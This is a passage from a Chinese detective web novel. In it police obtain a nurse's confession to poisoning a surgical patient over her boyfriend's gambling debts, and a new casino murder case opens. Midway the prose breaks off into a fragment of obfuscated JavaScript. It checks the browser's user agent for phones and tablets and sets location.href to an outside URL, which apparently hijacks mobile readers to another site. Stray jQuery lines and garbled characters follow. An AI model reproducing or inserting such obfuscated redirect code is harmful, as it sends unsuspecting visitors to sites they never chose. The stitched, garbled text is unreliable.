一个小时后,小王被带到了警署的审讯室。
审讯室里灯光昏暗,气氛压抑,只有一张桌子和几把椅子,陆振霆和苏晴坐在她对面,眼神锐利地看着她,没有说话。
审讯室里的安静,让小王心里越来越恐慌,双手紧紧攥着桌子边缘,身体微微颤抖。
“小王,我们已经掌握了所有证据,你不用再隐瞒了,如实交代你的罪行吧。”
苏晴语气平静,却带着不容置疑的威严。
“你的男朋友张皓文,因为赌博欠了五十多万赌债,被赌场威胁,而你的弟弟王磊,半个月前被陈晓峰打了一顿,你因为这两件事,对陈晓峰怀恨在心,又想帮男朋友还债,所以在手术过程中,偷偷给陈晓峰注射了致命毒药,对不对?”
小王听到苏晴的话,脸色瞬间变得惨白,身体剧烈地颤抖起来,眼神里满是恐惧和绝望,她张了张嘴,想要说什么,却一句话也说不出来。
“小王,我们已经化验过针管里的液体,是致命毒药,而且我们查到,你最近和张皓文来往频繁,还经常去油麻地的地下赌场附近,你是不是在帮张皓文筹钱?”陆振霆语气严肃,眼神锐利如刀,带着几分质问。
小王沉默了片刻,突然崩溃大哭起来,眼泪顺着脸颊滑落,哭声里满是委屈、恐惧和懊悔,她重重地捶打着桌子,语气激动地说道:“是我做的!是我注射的毒药!可……可这不是我的主意,是我男朋友张皓文让我做的!”
哭了许久,小王才渐渐平复下来,眼神里满是绝望,缓缓交代了自己的罪行:“张皓文欠了地下赌场五十多万赌债,赌场的人威胁他,如果三天内不还钱,就杀了他,他害怕极了,四处筹钱都没筹到,就跟我商量,想办法弄点钱。”
“正好,半个月前,我弟弟王磊被陈晓峰打了,我心里本来就不舒服,张皓文就跟我说,陈晓峰家里很有钱,要是他在手术中死了,我们就可以嫁祸给医院,说是医疗事故,然后向医院勒索一笔钱,既能还赌债,又能帮我弟弟报仇。我一开始不同意,杀人是犯法的,可张皓文一直求我,还说如果我不帮他,他就死定了,我一时糊涂,就答应了。”
“毒药是张皓文给我的,他说这种毒药是从黑市商人那里买的,无色无味,注射后会心跳骤停,很难被检测出来,让我趁手术过程中没人注意,偷偷给陈晓峰注射。”
“手术当天,我把毒药和针管藏在护士服的口袋里,带进了手术室,手术过程中,李医生专注于手术,刘姐在旁边协助,张医生监测生命体征,没人注意我,我就趁递纱布的时候,偷偷走到陈晓峰身边,把毒药注射进了他的输液管里,注射完后,我就把针管扔在了手术室的角落里,想着没人会发现,没想到还是被你们找到了。”
小王说完,再次崩溃大哭起来,语气里满是懊悔:“我现在后悔了,我不该听张皓文的话,不该杀人,可我已经晚了,我对不起陈晓峰,对不起他的家人……”
真相大白,小王因为帮男朋友还赌债,又为了给弟弟报仇,在手术过程中,偷偷给陈晓峰注射了致命毒药,蓄意谋杀,还试图嫁祸给医院,勒索钱财。
根据小王的供述,陆振霆立刻下令,让警员们前往张皓文的住处,实施抓捕。
张皓文的住处位于油麻地的一条破旧小巷里,警员们赶到时,张皓文正收拾东西,准备逃跑,看到警员们冲进来,他试图反抗,却被警员们当场制服。
审讯室里,面对铁证,张皓文很快就承认了自己的罪行。
据他交代,毒药是他花五千块,从一个黑市商人那里买的,原本只是想让小王注射毒药,嫁祸医院勒索钱财,没想到会直接导致陈晓峰死亡,他也没想到警察会这么快就查到自己头上。
苏晴和陆振霆走出医院时,夕阳正缓缓落下,金色的余晖洒在城市的楼宇上,给冰冷的建筑镀上了一层温暖的光晕。
海风拂过,带着几分暖意,却吹不散两人心头的沉重。
“为了五十万赌债,就害了一条年轻的生命,毁了两个家庭,真是太不值了。”
苏晴感慨地说道,眼神里满是惋惜,陈晓峰正值青春年华,本该有美好的未来,却因为别人的贪婪与自私,无辜殒命,实在令人痛心。
陆振霆点点头,语气沉重:“人心不足蛇吞象,贪婪是万恶之源,很多犯罪,都是因为贪婪而起。我们能做的,就是尽快查明真相,将凶手绳之以法,让逝者安息,让正义得到伸张。”
就在这时,苏晴口袋里的银质十字架,突然开始微微发烫,一股暖意透过布料,传到她的皮肤上。
她下意识地抬手,摸了摸口袋里的十字架,指尖触到冰凉的金属质感,同时,一个模糊的图案,渐渐浮现在她的脑海里——
那是一个赌场的轮廓,赌场门口挂着华丽的招牌,里面人影攒动,灯火通明,显然是一个大型赌场。
“赌场?”苏晴皱紧眉头,眼神里满是疑惑,“难道下一个案件,和赌场有关?”
陆振霆听到苏晴的话,转头看向她,看到她口袋里十字架的位置微微泛着淡淡的光芒。
他若有所思地说道:“香江的赌场大多鱼龙混杂,里面聚集了商人、黑,帮、赌徒等各种人,经常发生打架斗殴、诈骗、高利贷、甚至杀人案件。尤其是大型赌场,背后很可能牵扯到□□势力,水很深,既然十字架给出了提示,大概率是有新的案件要发生了。”
苏晴点点头,眼神渐渐变得坚定。口袋里的银质十字架,光芒渐渐褪去,却像是在无声地提醒着她,无论案件多么棘手,都要坚守正义,勇往直前。
案件告破后,陈晓峰的父亲陈国华因为失去了儿子,悲痛万分。但他终于得到了公正的结果,于是特意来到警署,感谢陆振霆和苏晴给了他的儿子一个公道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975544|192835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>后续,警方根据张皓文的供述,找到了那个黑市商人,将其抓获,彻底捣毁了这个非法贩卖毒药的窝点。法院经过审理,认定小王和张皓文故意杀人罪成立,张皓文作为主谋,被判处死刑,小王作为从犯,且有悔罪表现,被判处无期徒刑。
……
三天后的夜晚。
九龙尖沙咀灯火璀璨,霓虹招牌闪烁着华丽的光芒,将整条街道映照得如同白昼。
弥敦道上,行人络绎不绝,车水马龙,繁华喧嚣到了极致。而位于尖沙咀核心地段的“金碧辉煌”赌场,更是热闹非凡.
“金碧辉煌”的门口停满了豪车,穿着华丽的男男女女络绎不绝地走进赌场,赌场里面更是人声鼎沸,骰子碰撞声、筹码掉落声、男男女女的欢呼声与叹息声交织在一起,透着纸醉金迷与疯狂。
“金碧辉煌”是九龙最大的赌场,装潢极为豪华,大厅里铺着昂贵的地毯,屋顶层层坠下的水晶吊灯闪闪发光。
一张张赌桌整齐排列,每一张赌桌前都围满了赌徒,眼神里满是贪婪与狂热,仿佛在这里,马上就能一夜暴富。当然,也可能瞬间倾家荡产。
然而,这份喧嚣与疯狂,却在凌晨五点,被一声凄厉的尖叫打破。
“死人了!有人死了!”
一个赌场侍应生冲进赌场大厅,脸色惨白,声音带着极致的恐惧,朝着赌场经理大喊。
原本热闹的赌场,瞬间安静下来,赌徒们纷纷停下手中的动作,眼神里满是惊讶与恐慌,朝着侍应生指的方向看去——
赌场最里面的VIP包厢门口,隐隐有血迹渗出,气氛瞬间变得诡异而压抑。
赌场经理是个四十多岁的男人,穿着西装,脸色凝重,听到侍应生的话,立刻带着几个保安,快步朝着VIP包厢走去,同时拿出手机,拨打了报警电话。
警署重案组办公室里,苏晴和陆振霆正在整理此前医疗谋杀案的后续卷宗,接到报案电话后,立刻带着陈强、阿梅和勘察人员,驱车赶往“金碧辉煌”赌场。
凌晨的尖沙咀,已经褪去了夜晚的喧嚣,街道上行人稀少,警车一路疾驰,四十分钟后,抵达了“金碧辉煌”赌场门口。
此时,赌场门口已经围了一些早起的路人,好奇地朝着里面张望,赌场保安守在门口,禁止任何人进出。
“让一让,警察办案!”
陈强下车后,立刻上前疏散人群,陆振霆和苏晴则带着勘察人员,走进赌场。
赌场大厅里,赌徒们已经被保安疏散到了一侧,脸色各异,有的恐惧,有的兴奋,有的议论纷纷,显然还没从刚才的惊吓中回过神来。
苏晴和陆振霆穿过大厅,朝着最里面的VIP包厢走去。
沿途的赌桌整齐排列,上面还散落着一些筹码和扑克牌,空气中弥漫着淡淡的烟酒味,与往日的繁华相比,多了几分诡异的死寂。